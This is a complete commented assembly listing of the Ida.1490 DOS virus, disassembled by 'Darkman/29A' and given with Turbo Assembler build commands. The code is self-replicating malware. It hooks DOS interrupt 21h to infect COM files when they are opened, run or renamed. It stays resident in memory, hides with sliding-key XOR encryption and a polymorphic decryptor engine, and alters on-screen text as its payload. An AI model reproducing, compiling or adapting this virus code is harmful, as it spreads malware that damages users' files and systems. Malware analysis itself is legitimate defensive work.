comment * Ida.1490 млллллм млллллм млллллм Disassembly by ллл ллл ллл ллл ллл ллл Darkman/29A мммллп плллллл ллллллл лллмммм ммммллл ллл ллл ллллллл ллллллп ллл ллл Ida.1490 is a 1491 bytes parasitic resident COM virus. Infects files at open file, get or set file attributes, load and execute program and rename file by appending the virus to the infected file. Ida.1490 has an error handler, non-destructive payload, second layer 16-bit exclusive OR (XOR) encryption in file and is polymorphic in file using its internal polymorphic engine. Ida.1490 is using the Random Decoding Key (RDK) technique. I would like to thank VirusBuster for providing me the binary of this virus. Compile Ida.1490 with Turbo Assembler v 5.0 by typing: TASM /M IDA_1490.ASM TLINK /t /x IDA_1490.OBJ * .model tiny .code .386 org 100h ; Origin of Ida.1490 code_begin: jmp virus_begin db 0c8h dup(?) virus_begin: call delta_offset delta_offset: pop bp ; Load BP from stack sub bp,offset delta_offset decrypt_key equ word ptr $+01h ; Decryption key mov dx,00h ; DX = decryption key jmp decryptor second_loop: xor bx,bx ; First loop jmp decryptor first_loop: mov bh,22h ; Second loop decryptor: lea si,[bp+crypt_begin] ; SI = offset of crypt_begin mov cx,(crypt_end-crypt_begin) push dx ; Save DX at stack decrypt_loop: xor [si],dx ; Decrypt two bytes of encrypted code inc si ; Increase index register add dx,'SE' ; Add the sliding key to the decry... loop decrypt_loop pop dx ; Load DX from stack mov cx,(checksum_end-checks_begin) lea si,[bp+crypt_begin] ; SI = offset of crypt_begin xor ax,ax ; Zero AX cld ; Clear direction flag checksu_loop: lodsb ; AL = byte of decrypted code add ah,al ; AH = checksum loop checksu_loop cmp ax,0e101h ; Correct checksum? je virus_begin_ ; Equal? Jump to virus_begin_ cmp bh,22h ; Second loop? jne first_loop ; Not equal? Jump to first_loop inc dh ; Increase high-order byte of decr... jmp second_loop crypt_begin: checks_begin: virus_begin_: mov ax,0deadh ; Ida.1490 function int 21h cmp di,1996h ; Already resident? je virus_exit ; Equal? Jump to virus_exit mov bx,es ; BX = segment of PSP for current ... dec bx ; BX = segment of current Memory C... mov es,bx ; ES = " " " " " mov byte ptr es:[00h],'Z' mov ax,cs:[02h] ; AX = segment of first byte beyon... sub ax,((code_end-virus_begin)/10h)+0ah mov cs:[02h],ax ; Store segment of first byte beyo... mov ax,es:[03h] ; AX = size of memory block in par... sub ax,((code_end-virus_begin)/10h)+0ah mov es:[03h],ax ; Store size of memory block in pa... stc ; Set carry flag adc ax,bx ; AX = segment of the virus mov es,ax ; ES = " " " " push es ; Save ES at stack mov ax,3521h ; Get interrupt vector 21h int 21h mov word ptr cs:[bp+int21_addr],bx mov word ptr cs:[bp+int21_addr+02h],es pop es push cs ; Save CS at stack pop ds ; Load DS from stack (CS) lea si,[bp+virus_begin] ; SI = offset of virus_begin xor di,di ; Zero DI mov cx,(code_end-virus_begin) cld ; Clear direction flag rep movsb ; Move the virus to top of memory mov dx,(int21_virus-virus_begin) push es ; Save ES at stack pop ds ; Load DS from stack (ES) mov ax,2521h ; Set interrupt vector 21h int 21h mov ax,351ch ; Get interrupt vector 1ch int 21h mov word ptr ds:[(int1c_addr-virus_begin)],bx mov word ptr ds:[(int1c_addr-virus_begin+02h)],es mov dx,(int1c_virus-virus_begin) mov ah,25h ; Set interrupt vector 1ch int 21h virus_exit: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) push cs ; Save CS at stack pop es ; Load ES from stack (CS) lea si,[bp+origin_code] ; SI = offset of origin_code mov di,100h ; DI = offset of beginning of code movsw ; Move the original code to beginning movsb ; " " " " " " xor ax,ax ; Zero AX xor cx,cx ; Zero CX cwd ; Zero DX mov bx,dx ; Zero BX push 100h ; Save offset of beginning of code... ret ; Return! int21_virus proc near ; Interrupt 21h of Ida.1490 pushf ; Save flags at stack push ax bx cx dx ds es si di cmp ax,4b00h ; Load and execute program? je examine_name ; Equal? Jump to examine_name cmp ah,56h ; Rename file? je examine_name ; Equal? Jump to examine_name cmp ah,3dh ; Open file? je examine_name ; Equal? Jump to examine_name cmp ah,43h ; Get or set file attributes? je examine_name ; Equal? Jump to examine_name jmp int21_exit_ examine_name: clc ; Clear carry flag mov cx,80h ; Search through hundred and twent... xor al,al ; Zero AL mov di,dx ; DI = offset of filename find_zero: cmp al,[di] ; Found end of filename? je examine_ext ; Equal? Jump to examine_ext inc di ; Increase index register loop find_zero jmp int21_exit_ examine_ext: sub di,04h ; DI = offset of dot in filename mov al,'.' cmp al,[di] ; Found dot in filename? je found_dot ; Equal? Jump to found_dot jmp int21_exit_ found_dot: mov si,di ; SI = offset of dot in filename sub si,06h ; DI = offset within filename mov ax,[si] ; AX = two bytes of the filename and ax,1101111111011111b cmp ax,'BI' ; IBMBIO.COM or IBMDOS.COM? je int21_exit ; Equal? Jump to int21_exit inc di ; DI = offset within file extension mov al,[di] ; AL = byte of file extension and al,11011111b ; Upcase character cmp al,'C' ; COM executable? jne int21_exit ; Not equal? Jump to int21_exit inc di ; DI = offset within file extension mov al,[di] ; AL = byte of file extension and al,11011111b ; Upcase character cmp al,'O' ; COM executable? jne int21_exit ; Not equal? Jump to int21_exit inc di ; DI = offset within file extension mov al,[di] ; AL = byte of file extension and al,11011111b ; Upcase character cmp al,'M' ; COM executable? je infect_file ; Equal? Jump to infect_file int21_exit: jmp int21_exit_ infect_file: call int24_store mov ax,4300h ; Get file attributes call int21_simula xor ch,ch ; CH = new file attributes db 81h,0e1h,0feh,0ffh ; AND CX,0FFFEh mov ax,4301h ; Set file attributes call int21_simula checksum_end: mov ax,3d02h ; Open file (read/write) call int21_simula jc infect_exit ; Error? Jump to infect_exit xchg ax,bx ; BX = file handle mov ax,4200h ; Set current file position (SOF) call set_file_pos push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ah,3fh ; Read from file mov cx,03h ; Read three bytes mov dx,(origin_code-virus_begin) call int21_simula cmp word ptr ds:[(origin_code-virus_begin)],'ZM' je close_file ; Equal? Jump to close_file mov ax,5700h ; Get file's date and time call int21_simula mov ds:[(file_time-virus_begin)],cx mov ds:[(file_date-virus_begin)],dx mov ax,4202h ; Set current file position (EOF) mov dx,-02h ; CX:DX = offset from origin of ne... mov cx,-01h ; " " " " " " " call int21_simula mov ah,3fh ; Read from file mov cx,02h ; Read two bytes mov dx,(infect_mark-virus_begin) call int21_simula mov si,dx ; SI = offset of infect_mark mov dx,ds:[(infect_mark_-virus_begin)] cmp [si],dx ; Already infected? je close_file ; Equal? Jump to close_file mov ax,4200h ; Set current file position (SOF) call set_file_pos mov ax,4202h ; Set current file position (EOF) call set_file_pos cmp ax,0f230h ; Filesize too large? ja close_file ; Above? Jump to close_file cmp ax,100h ; Filesize too small? jb close_file ; Below? Jump to close_file mov ds:[(filesize-virus_begin)],ax sub ax,03h ; AX = offset of virus within infe... mov ds:[(infect_code-virus_begin+01h)],ax push bx ; Save BX at stack call ida_poly pop bx ; Load BX from stack cmp ax,0ffffh ; Insufficient memory? je close_file ; Error? Jump to close_file mov ah,40h ; Write to file xor dx,dx ; DX = offset of decryptor mov cx,ds:[(decrypt_len-virus_begin)] push es ; Save ES at stack pop ds ; Load DS from stack (ES) call int21_simula mov ah,40h ; Write to file mov dx,100h ; DX = offset of encrypted code mov cx,(code_end-virus_begin) call int21_simula mov ah,49h ; Free memory call int21_simula push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov ax,4200h ; Set current file position (SOF) call set_file_pos mov ah,40h ; Write to file mov dx,(infect_code-virus_begin) mov cx,03h ; Write three bytes call int21_simula mov ax,5701h ; Set file's date and time mov dx,cs:[(file_date-virus_begin)] mov cx,cs:[(file_time-virus_begin)] call int21_simula close_file: mov ah,3eh ; Close file call int21_simula infect_exit: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov dx,ds:[(int24_addr-virus_begin)] push word ptr ds:[(int24_addr-virus_begin+02h)] pop ds ; Load DS from stack (high-order ...) mov ax,2524h ; Set interrupt vector 24h call int21_simula int21_exit_: pop di si es ds dx cx bx ax cmp ax,0deadh ; Ida.1490 function? je ida_function ; Equal? Jump to ida_function popf ; Load flags from stack jmp dword ptr cs:[(int21_addr-virus_begin)] int24_store proc near ; Get and set interrupt vector 24h push ds dx bx es ; Save registers at stack mov ax,3524h ; Get interrupt vector 24h call int21_simula push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov word ptr ds:[(int24_addr-virus_begin)],bx mov word ptr ds:[(int24_addr-virus_begin+02h)],es mov ah,25h ; Get interrupt vector 24h mov dx,(int24_virus-virus_begin) call int21_simula pop es bx dx ds ; Load registers from stack ret ; Return! endp int24_virus proc near ; Interrupt 24h of Ida.1490 mov al,03h ; Fail system call in progress iret ; Interrupt return! endp ida_function: mov di,1996h ; Already resident popf ; Load flags from stack iret ; Interrupt return! endp origin_code db 11001101b,00100000b,? infect_code db 11101001b,?,? ; JMP imm16 (opcode 0e9h) file_date dw ? ; File date file_time dw ? ; File time set_file_pos proc near ; Set current file position xor cx,cx ; CX:DX = offset from origin of ne... cwd ; " " " " " " " call int21_simula ret ; Return! endp int21_simula proc near ; Simulate interrupt 21h pushf ; Save flags at stack db 10011010b ; CALL imm32 (opcode 9ah) int21_addr dd ? ; Address of interrupt 21h ret ; Return! endp int1c_virus proc near ; Interrupt 1Ch of Ida.1490 push ds es ax dx cx di si cmp cs:[clock_tick],00h ; Twenty clock ticks? jae exam_txt_vid ; Above or equal? Jump to exam_txt... jmp dec_clock_ti endp i_love_begin: i_love_veron db 'IVeronika !' ; Text to replace with i_love_v_end: vera_begin: vera db 'VERA' ; Text to search for vera_end: clock_tick db ? ; Clock tick counter exam_txt_vid: mov byte ptr cs:[(clock_tick-virus_begin)],14h mov ax,0b800h ; AX = segment of text video RAM mov es,ax ; ES = " " " " " mov di,0fa0h ; DI = offset of end of text video... search_v: sub di,08h ; DI = offset within text video RAM clc ; Clear carry flag search_v_: mov al,es:[di] ; AL = byte within text video RAM and al,11011111b ; Upcase character cmp al,'V' ; V? je found_v ; Equal? Jump to found_v dec di ; Decrease index register dec di ; Decrease index register cmp di,1388h ; Past the end of text video RAM? jb search_v_ ; Below? Jump to search_v_ jmp int1c_exit found_v: mov cx,(vera_end-vera_begin) mov si,(vera-virus_begin) push cs ; Save CS at stack pop ds ; Load DS from stack (CS) cld ; Clear direction flag search_vera: mov al,es:[di] ; AL = byte within text video RAM and al,11011111b ; Upcase character cmp [si],al ; VERA? jne search_v ; Not equal? Jump to search_v inc di ; Increase index register inc di ; Increase index register inc si ; Increase index register loop search_vera mov cx,(i_love_v_end-i_love_begin) sub di,08h ; DI = offset within text video RAM mov si,(i_love_veron-virus_begin) move_i__loop: movsb ; Move twelve bytes within text vi... inc di ; Increase index register loop move_i__loop dec_clock_ti: dec byte ptr cs:[(clock_tick-virus_begin)] int1c_exit: pop si di cx dx ax es ds db 11101010b ; JMP imm32 (opcode 0eah) int1c_addr dd ? ; Address of interrupt 1ch filesize dw ? ; Low-order word of filesize int24_addr dd ? ; Address of interrupt 24h comment* Ida.1490 (polymorphic engine) млллллм млллллм млллллм Disassembly by ллл ллл ллл ллл ллл ллл Darkman/29A мммллп плллллл ллллллл лллмммм ммммллл ллл ллл ллллллл ллллллп ллл ллл Garbage instructions: INC AX; INC BX; INC CX; INC DX; INC BP; INC SI; INC DI; DEC AX; DEC BX; DEC CX; DEC DX; DEC BP; DEC SI; DEC DI; NOP; CLD; CBW; ES:; DS:; CS Count/index registers: BX; DI; SI Registers holding the decryption key: AX; (BX); CX; DX Decryptor: One to fourteen garbage instruction(s). MOV reg16,imm16 (Register holding decryption key, decryption key) One to fourteen garbage instruction(s). MOV reg16,imm16 (Count/index register, offset of encrypted code) One to fourteen garbage instruction(s). NOT [reg16]/NEG [reg16]/XOR [reg16],reg16 One to fourteen garbage instruction(s). INC reg16 (Increase count/index register) One to fourteen garbage instruction(s). CMP reg16,imm16 (End of encrypted code) One to fourteen garbage instruction(s). JB imm8 (Garbage generation above decryption algorithm) One to fourteen garbage instruction(s). Min. decryptor size: 19 bytes. Max. decryptor size: 113 bytes. * ida_poly proc near ; Ida.1490 (polymorphic engine) mov ah,48h ; Allocate memory mov bx,(code_end-virus_begin)/10h+8ah call int21_simula jnc ida_poly_ ; No error? Jump to ida_poly_ mov ax,0ffffh ; Insufficient memory ret ; Return! ida_poly_: mov es,ax ; ES = segment of allocated memory mov ds:[(cryptor_addr-virus_begin+02h)],ax mov word ptr ds:[(mov_r16_off_-virus_begin)],00h mov word ptr ds:[(mov_r16_off-virus_begin)],00h gen_garbage: call get_rnd_num mov ax,0fh ; Random number within fifteen call rnd_in_range or di,di ; Don't generate any garbage inst...? jz gen_garbage ; Zero? Jump to gen_garbage mov cx,di ; CX = number of one byte garbage ... xor di,di ; DI = offset of decryptor gen_garbage_: push di ; Save DI at stack call get_rnd_num mov ax,(one_byte_end-one_by_begin) call rnd_in_range lea si,[di+(one_by_table-virus_begin)] pop di ; Load DI from stack cld ; Clear direction flag lodsb ; INC reg16/DEC reg16/NOP/CLD/CBW/... stosb ; Store INC reg16/DEC reg16/NOP/CL... loop gen_garbage_ mov ds:[(mov_r16_off_-virus_begin)],di call get_rnd_num mov ax,(crypt_ta_end-crypt__begin)/07h call rnd_in_range mov ax,(crypt_ta_end-crypt__begin)/11h mul di ; AX = random number within twenty... push es ; Save ES at stack push cs ; Save CS at stack pop es ; Load ES from stack (CS) mov si,(crypt_table-virus_begin) add si,ax ; SI = offset within crypt_table mov ds:[(crypt_offset-virus_begin)],si mov di,(crypt_algo-virus_begin) cld ; Clear direction flag movsw ; Move NOT [reg16]/NEG [reg16]/XOR... pop es ; Load ES from stack call move_algo cmp byte ptr ds:[(mov_r16_i16_-virus_begin)],00h je gen_mov_reg ; No encryption/decryption key? Ju... mov di,ds:[(mov_r16_off_-virus_begin)] mov si,(mov_r16_i16_-virus_begin) lodsb ; MOV reg16,imm16 (Decryption key) stosb ; Store MOV reg16,imm16 (Decrypti...) inc di ; Increase index register inc di ; Increase index register call gen_garbag_ add word ptr ds:[(mov_r16_off-virus_begin)],03h gen_mov_reg: mov di,ds:[(mov_r16_off_-virus_begin)] add di,ds:[(mov_r16_off-virus_begin)] mov ds:[(mov_r16_of_-virus_begin)],di mov si,(mov_r16_i16-virus_begin) cld ; Clear direction flag lodsb ; MOV reg16,imm16 (Offset of encr...) stosb ; Store MOV reg16,imm16 (Offset o...) inc di ; Increase index register inc di ; Increase index register call gen_garbag_ mov si,(crypt_algo-virus_begin) cld ; Clear direction flag lodsw ; NOT [reg16]/NEG [reg16]/XOR [reg... stosw ; Store NOT [reg16]/NEG [reg16]/XO... call gen_garbag_ mov si,ds:[(crypt_offset-virus_begin)] add si,05h ; SI = offset of INC reg16 within ... cld ; Clear direction flag lodsb ; INC reg16 stosb ; Store INC reg16 call gen_garbag_ mov ds:[(cmp_r16_off-virus_begin)],di mov si,(cmp_r16_i16-virus_begin) cld ; Clear direction flag lodsw ; CMP reg16,imm16 (End of encrypt...) stosw ; Store CMP reg16,imm16 (End of e...) inc di ; Increase index register inc di ; Increase index register call gen_garbag_ mov si,(jb_imm8-virus_begin) mov ds:[(jb_imm8_off-virus_begin)],di cld ; Clear direction flag lodsw ; JB imm8 (Garbage generation abo...) stosw ; Store JB imm8 (Garbage generati...) call gen_garbag_ mov ds:[(decrypt_len-virus_begin)],di mov di,ds:[(mov_r16_off_-virus_begin)] inc di ; DI = offset of MOV reg16,imm16 ... call get_rnd_num clc ; Clear carry flag mov es:[di],bx ; Store encryption/decryption key mov di,ds:[(mov_r16_of_-virus_begin)] inc di ; DI = offset of MOV reg16,imm16 ... mov word ptr es:[di],100h mov di,ds:[(cmp_r16_off-virus_begin)] inc di ; DI = offset of CMP reg16,imm16 ... inc di ; DI = " " " " " mov word ptr es:[di],(code_end-virus_begin-03h)+100h mov di,ds:[(jb_imm8_off-virus_begin)] inc di ; DI = offset of JB imm8 (Garbage...) mov ax,ds:[(jb_imm8_off-virus_begin)] sub ax,ds:[(mov_r16_of_-virus_begin)] mov bl,01h ; BL = 8-bit immediate sub bl,al ; BL = " " mov es:[di],bl ; Store 8-bit immediate mov cx,(code_end-virus_begin) mov si,(virus_begin-virus_begin) mov di,100h ; DI = offset of plain code rep movsb ; Move plain code within segment o... mov cx,(crypt_end-crypt_begin) call get_rnd_num push bx ; Save BX at stack mov ax,2080h ; Random number within thirty-two ... call rnd_in_range xchg ax,di ; DI = random number within thirty... sub bh,al ; BX = decryption key mov di,(crypt_begin-virus_begin+100h) mov es:[(decrypt_key-virus_begin+100h)],bx pop bx ; Load BX from stack encrypt_loop: xor es:[di],bx ; Encrypt two bytes of plain code add bx,'SE' ; Add the sliding key to the encry... inc di ; Increase index register loop encrypt_loop mov di,ds:[(decrypt_len-virus_begin)] mov byte ptr es:[di],11001011b push ds ; Save DS at stack push es ; Save ES at stack pop ds ; Load DS from stack (ES) pushf ; Save flags at stack push bp ; Save BP at stack db 10011010b ; CALL imm32 (opcode 9ah) cryptor_addr dd 00h ; Address of encryptor/decryptor pop bp ; Load BP from stack popf ; Load flags from stack pop ds ; Load DS from stack mov dx,ds:[(filesize-virus_begin)] add dx,ds:[(decrypt_len-virus_begin)] mov di,ds:[(mov_r16_of_-virus_begin)] inc di ; DI = offset of MOV reg16,imm16 ... add dx,100h ; DX = 16-bit immediate mov es:[di],dx ; Store 16-bit immediate add dx,(code_end-virus_begin) mov di,ds:[(cmp_r16_off-virus_begin)] inc di ; DI = offset of CMP reg16,imm16 ... inc di ; DI = " " " " " sub dx,03h ; DX = 16-bit immediate mov es:[di],dx ; Store 16-bit immediate ret ; Return! one_by_begin: one_by_table: inc ax ; Increase AX inc cx ; Increase CX inc dx ; Increase DX inc bx ; Increase BX inc bp ; Increase BP inc si ; Increase SI inc di ; Increase DI dec ax ; Decrease AX dec cx ; Decrease CX dec dx ; Decrease DX dec bx ; Decrease BX dec bp ; Decrease BP dec si ; Decrease SI dec di ; Decrease DI nop nop cld ; Clear direction flag cbw ; Convert byte to word cld ; Clear direction flag nop nop seges ; Extra segment as source segment segds ; Data segment as source segment inc dx ; Increase DX segcs ; Code segment as source segment one_byte_end: crypt__begin: crypt_table: not byte ptr [si] ; Encrypt/decrypt byte of plain/en... db 11111110b ; CMP SI,imm16 (opcode 81h,0feh) db 10111110b ; MOV SI,imm16 (opcode 0beh) db 00h ; No encryption/decryption key inc si ; Increase index register dec si ; Decrease index register not byte ptr [di] ; Encrypt/decrypt byte of plain/en... db 11111111b ; CMP DI,imm16 (opcode 81h,0ffh) db 10111111b ; MOV DI,imm16 (opcode 0bfh) db 00h ; No encryption/decryption key inc di ; Increase index register dec di ; Decrease index register not byte ptr [bx] ; Encrypt/decrypt byte of plain/en... db 11111011b ; CMP BX,imm16 (opcode 81h,0fbh) db 10111011b ; MOV BX,imm16 (opcode 0bbh) db 00h ; No encryption/decryption key inc bx ; Increase index register dec bx ; Decrease index register neg byte ptr [si] ; Encrypt/decrypt byte of plain/en... db 11111110b ; CMP SI,imm16 (opcode 81h,0feh) db 10111110b ; MOV SI,imm16 (opcode 0beh) db 00h ; No encryption/decryption key inc si ; Increase index register dec si ; Decrease index register neg byte ptr [di] ; Encrypt/decrypt byte of plain/en... db 11111111b ; CMP DI,imm16 (opcode 81h,0ffh) db 10111111b ; MOV DI,imm16 (opcode 0bfh) db 00h ; No encryption/decryption key inc di ; Increase index register dec di ; Decrease index register neg byte ptr [bx] ; Encrypt/decrypt byte of plain/en... db 11111011b ; CMP BX,imm16 (opcode 81h,0fbh) db 10111011b ; MOV BX,imm16 (opcode 0bbh) db 00h ; No encryption/decryption key inc bx ; Increase index register dec bx ; Decrease index register xor [si],ax ; Encrypt/decrypt byte of plain/en... db 11111110b ; CMP SI,imm16 (opcode 81h,0feh) db 10111110b ; MOV SI,imm16 (opcode 0beh) db 10111000b ; MOV AX,imm16 (opcode 0b8h) inc si ; Increase index register dec si ; Decrease index register xor [di],ax ; Encrypt/decrypt byte of plain/en... db 11111111b ; CMP DI,imm16 (opcode 81h,0ffh) db 10111111b ; MOV DI,imm16 (opcode 0bfh) db 10111000b ; MOV AX,imm16 (opcode 0b8h) inc di ; Increase index register dec di ; Decrease index register xor [bx],ax ; Encrypt/decrypt byte of plain/en... db 11111011b ; CMP BX,imm16 (opcode 81h,0fbh) db 10111011b ; MOV BX,imm16 (opcode 0bbh) db 10111000b ; MOV AX,imm16 (opcode 0b8h) inc bx ; Increase index register dec bx ; Decrease index register xor [si],cx ; Encrypt/decrypt byte of plain/en... db 11111110b ; CMP SI,imm16 (opcode 81h,0feh) db 10111110b ; MOV SI,imm16 (opcode 0beh) db 10111001b ; MOV AX,imm16 (opcode 0b9h) inc si ; Increase index register dec si ; Decrease index register xor [di],cx ; Encrypt/decrypt byte of plain/en... db 11111111b ; CMP DI,imm16 (opcode 81h,0ffh) db 10111111b ; MOV DI,imm16 (opcode 0bfh) db 10111001b ; MOV AX,imm16 (opcode 0b9h) inc di ; Increase index register dec di ; Decrease index register xor [bx],cx ; Encrypt/decrypt byte of plain/en... db 11111011b ; CMP BX,imm16 (opcode 81h,0fbh) db 10111011b ; MOV BX,imm16 (opcode 0bbh) db 10111001b ; MOV AX,imm16 (opcode 0b9h) inc bx ; Increase index register dec bx ; Decrease index register xor [si],dx ; Encrypt/decrypt byte of plain/en... db 11111110b ; CMP SI,imm16 (opcode 81h,0feh) db 10111110b ; MOV SI,imm16 (opcode 0beh) db 10111010b ; MOV AX,imm16 (opcode 0bah) inc si ; Increase index register dec si ; Decrease index register xor [di],dx ; Encrypt/decrypt byte of plain/en... db 11111111b ; CMP DI,imm16 (opcode 81h,0ffh) db 10111111b ; MOV DI,imm16 (opcode 0bfh) db 10111010b ; MOV AX,imm16 (opcode 0bah) inc di ; Increase index register dec di ; Decrease index register xor [bx],dx ; Encrypt/decrypt byte of plain/en... db 11111011b ; CMP BX,imm16 (opcode 81h,0fbh) db 10111011b ; MOV BX,imm16 (opcode 0bbh) db 10111010b ; MOV AX,imm16 (opcode 0bah) inc bx ; Increase index register dec bx ; Decrease index register xor [si],bx ; Encrypt/decrypt byte of plain/en... db 11111110b ; CMP SI,imm16 (opcode 81h,0feh) db 10111110b ; MOV SI,imm16 (opcode 0beh) db 10111011b ; MOV AX,imm16 (opcode 0bbh) inc si ; Increase index register dec si ; Decrease index register xor [di],bx ; Encrypt/decrypt byte of plain/en... db 11111111b ; CMP DI,imm16 (opcode 81h,0ffh) db 10111111b ; MOV DI,imm16 (opcode 0bfh) db 10111011b ; MOV AX,imm16 (opcode 0bbh) inc di ; Increase index register dec di ; Decrease index register crypt_ta_end: jb_imm8: jb $+02h ; Below? Jump to garbage generaton... db 00h db '[IDA] v0.01',00h ; Name of the engine db 'Serg_Enigma',00h ; Author of the engine mov_r16_off dw ? ; Offset of MOV reg16,imm16 (Offs...) mov_r16_off_ dw ? ; Offset of MOV reg16,imm16 (Decr...) mov_r16_of_ dw ? ; Offset of MOV reg16,imm16 (Offs...) cmp_r16_off dw ? ; Offset of CMP reg16,imm16 (End ...) decrypt_len dw ? ; Length of decryptor jb_imm8_off dw ? ; Offset of JB imm8 (Garbage gene...) random_count db ? ; Random counter cmp_r16_i16 db 10000001b ; CMP reg16,imm16 (opcode 81h) crypt_begin_: crypt_table_: db ? ; CMP reg16,imm16 (End of encrypt...) mov_r16_i16 db ? ; MOV reg16,imm16 (Offset of encr...) mov_r16_i16_ db ? ; MOV reg16,imm16 (Decryption key) inc_reg16 db ? ; INC reg16 (Index register) dec_reg16 db ? ; DEC reg16 (Index register) crypt_b_end_: crypt_algo dw ? ; NOT [reg16]/NEG [reg16]/XOR [reg... random_off dw ? ; Random offset crypt_offset dw ? ; Offset of encryption/decryption ... move_algo proc near ; Move encryption/decryption algor... push es ; Save ES at stack push cs ; Save CS at stack pop es ; Load ES from stack (CS) push di si ; Save registers at stack mov si,ds:[(crypt_offset-virus_begin)] inc si ; SI = offset of CMP reg16,imm16 w... inc si ; SI = " " " " " mov di,(crypt_table_-virus_begin) mov cx,(crypt_b_end_-crypt_begin_) rep movsb ; Move encryption/decryption algor... pop si di ; Load registers from stack pop es ; Load ES from stack ret ; Return! endp gen_garbag_ proc near ; Generate garbage xchg di,dx ; DX = offset within segment of al... gen_garbag__: call get_rnd_num mov ax,0fh ; Random number within fifteen call rnd_in_range or di,di ; Don't generate any garbage inst...? jz gen_garbag__ ; Zero? Jump to gen_garbag__ mov cx,di ; CX = number of one byte garbage ... mov ds:[(mov_r16_off-virus_begin)],cx gen_garba_: call get_rnd_num mov ax,(one_byte_end-one_by_begin) call rnd_in_range lea si,[di+(one_by_table-virus_begin)] lodsb ; INC reg16/DEC reg16/NOP/CLD/CBW/... cmp al,ds:[(inc_reg16-virus_begin)] je gen_garba_ ; Equal? Jump to gen_garba_ cmp al,ds:[(dec_reg16-virus_begin)] je gen_garba_ ; Equal? Jump to gen_garba_ mov di,dx ; DI = offset within segment of al... cld ; Clear direction flag stosb ; Store INC reg16/DEC reg16/NOP/CL... mov dx,di ; DX = offset within segment of al... loop gen_garba_ ret ; Return! endp rnd_in_range proc near ; Random number within range push ax bx cx dx ; Save registers at stack xchg dx,bx ; DX = 16-bit random number xor bx,bx ; Zero BX mov cx,0ffffh ; Compare 8-bit random number with... rnd_in_loop: mov bh,ah ; BH = random number within range cmp_rnd_num: call cmp_rnd_num_ inc bh ; Increase random number within range cmp bh,al ; Compare random number within ran... jne cmp_rnd_num ; Not equal? Jump to cmp_rnd_num loop rnd_in_loop ret ; Return! rnd_in_exit: xor bl,bl ; Zero BL xchg bh,bl ; BX = random number within range mov di,bx ; DI = " " " " pop dx cx bx ax ; Load registers from stack cld ; Clear direction flag ret ; Return! endp cmp_rnd_num_ proc near ; Compare 8-bit random number with... inc bl ; Increase low-order byte of base ... cmp bl,dl ; Compare 8-bit random number wit...? je rnd_in_exit_ ; Equal? Jump to rnd_in_exit_ ret ; Return! rnd_in_exit_: pop cx ; Load CX from stack jmp rnd_in_exit endp endp get_rnd_num proc near push ax dx es di cx ; Save registers at stack in ax,40h ; AX = 16-bit random number xchg ax,dx ; DX = " " " inc byte ptr ds:[(random_count-virus_begin)] mov ax,0f800h ; AX = segment within system BIOS/ROM mov es,ax ; ES = " " " " mov di,ds:[(random_off-virus_begin)] xor dx,es:[di] ; DX = 16-bit random number mov ds:[(random_off-virus_begin+200h)],dx mov cl,ds:[(random_count-virus_begin+200h)] rol dx,cl ; DX = 16-bit random number mov bx,dx ; BX = " " " pop cx di es dx ax ; Load registers from stack cld ; Clear direction flag ret ; Return! endp endp crypt_end: infect_mark dw ? ; Infection mark infect_mark_ db ' ' ; " " code_end: end code_begin